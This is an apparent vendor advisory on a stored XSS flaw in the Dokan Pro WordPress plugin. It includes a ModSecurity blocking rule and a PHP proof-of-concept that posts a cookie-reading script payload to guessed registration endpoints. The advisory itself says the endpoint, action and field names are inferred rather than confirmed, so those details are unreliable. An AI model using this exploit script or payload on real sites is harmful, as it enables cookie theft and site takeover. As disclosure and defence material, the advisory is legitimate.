Atomic Edge analysis of CVE-2026-65492 (metadata-based):
Dokan Pro <= 5.0.0 contains an Unauthenticated Stored Cross-Site Scripting vulnerability. The plugin fails to sanitize user-supplied input and escape output on page generation. This allows an unauthenticated attacker to inject arbitrary web scripts that execute when other users view the affected page. The CVSS score is 7.2, reflecting a network-exploitable flaw with no authentication required, a changed security scope, and low confidentiality and integrity impact. No patched version is currently available.
The root cause is improper neutralization of input during web page generation (CWE-79). The vulnerable plugin likely processes input through a form or AJAX handler that does not apply sanitization functions such as sanitize_text_field() or wp_kses(), and later outputs the stored data without escaping functions such as esc_html() or wp_kses_post(). This is inferred from the CWE classification and the vulnerability description, not confirmed from source code, because the vulnerable and patched plugin files are not available for download. The unauthenticated precondition suggests the vulnerable input mechanism lacks both capability checks and nonce verification, making it reachable by any visitor. Dokan Pro's marketplace features, such as vendor registration or store setup forms, commonly expose such endpoints, so the flaw likely resides in one of these public-facing forms.
To exploit this flaw, an attacker would submit a crafted HTTP request to one of Dokan Pro's public endpoints. Likely targets include the vendor registration form (often processed via admin-post.php or an AJAX action), store settings pages, or a REST API route used for vendor onboarding. The attacker would inject a JavaScript payload such as alert(document.cookie) or an event-handler-based payload like 
into a text field that the plugin fails to sanitize. Atomic Edge research suggests that the attacker would POST the payload to an action parameter such as action=dokan_pro_register or a similar handler, along with the malicious input field. Because the plugin does not validate the nonce or user capabilities, the request succeeds without authentication, and the payload is stored in the WordPress database. When an administrator or other user loads the page that renders that field, the script executes in their browser.
Remediation requires the vendor to implement proper input sanitization and output escaping in all affected code paths. Atomic Edge research recommends using WordPress’s built-in functions: sanitize_text_field(), sanitize_textarea_field(), or wp_kses() for input, and esc_html(), esc_attr(), or wp_kses_post() for output. The plugin should also add nonce verification and capability checks to all public-facing handlers that store data. Since no patched version exists, affected users should disable the vulnerable functionality or apply a Web Application Firewall rule that blocks malicious payloads at the request level while awaiting an official patch.
Successful exploitation allows an unauthenticated attacker to store arbitrary JavaScript on a site running Dokan Pro. When an administrator views the affected page, the script can perform actions with the admin’s privileges, including creating rogue admin accounts, modifying site content, or exfiltrating sensitive data. The low confidentiality and integrity scores in the CVSS vector reflect that the attacker cannot directly access the database or bypass security controls, but the stored XSS can lead to full site compromise if an administrator is targeted. Additionally, the script can affect other users such as vendors or customers, potentially tainting marketplace transactions and damaging the site’s trust.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-65492 (metadata-based)
# This rule blocks attempts to inject script tags into Dokan Pro's public-facing
# registration and store setup AJAX handlers. It targets the common action parameter
# and any POST field containing a script tag.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261992,phase:2,deny,status:403,chain,msg:'CVE-2026-65492 stored XSS via Dokan Pro AJAX',severity:'CRITICAL',tag:'CVE-2026-65492'"
SecRule ARGS_POST:action "@streq dokan_pro_register"
"chain"
SecRule ARGS_POST "@rx <script[ >]" "t:urlDecode,id:20261992"
# Fallback rule for admin-post.php handler with the same action
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php"
"id:20261993,phase:2,deny,status:403,chain,msg:'CVE-2026-65492 stored XSS via Dokan Pro admin post',severity:'CRITICAL',tag:'CVE-2026-65492'"
SecRule ARGS_POST:action "@streq dokan_pro_register"
"chain"
SecRule ARGS_POST "@rx <script[ >]" "t:urlDecode,id:20261993"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65492 - Dokan Pro <= 5.0.0 - Unauthenticated Stored Cross-Site Scripting
// This PoC demonstrates how an unauthenticated attacker could inject a stored XSS payload
// into a Dokan Pro public-facing form. It targets the vendor registration or store setup
// endpoint, which commonly lacks proper sanitization and nonce checks.
// The exact endpoint and field name are inferred from Dokan Pro's typical AJAX handlers
// and may require adjustment based on the target site's actual configuration.
$target_url_ajax = 'http://target-site.com/wp-admin/admin-ajax.php';
// Payload: a script tag that executes in the browser of any user viewing the stored data.
$payload = '<script>alert(document.cookie)</script>';
// Attempt 1: Common Dokan vendor registration via AJAX.
$post_data = array(
'action' => 'dokan_pro_register',
'dokan_store_name' => 'Test Store',
'dokan_store_url' => 'test-store',
'dokan_store_phone' => $payload, // Inject the XSS payload
'nonce' => '' // Nonce is intentionally empty because the vulnerability allows unauthenticated access
);
$ch = curl_init($target_url_ajax);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "AJAX attempt returned HTTP $http_coden";
// Attempt 2: Fallback to the admin-post.php handler if the AJAX endpoint is not registered.
$target_url_post = 'http://target-site.com/wp-admin/admin-post.php';
$post_data_post = array(
'action' => 'dokan_pro_register',
'dokan_store_name' => 'Test Store',
'dokan_store_url' => 'test-store',
'dokan_store_phone' => $payload,
);
$ch2 = curl_init($target_url_post);
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query($post_data_post));
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch2, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);
echo "POST attempt returned HTTP $http_code2n";
// If the response contains a success indicator, the payload may have been stored.
// The attacker would then wait for an admin to view the page that renders the field.
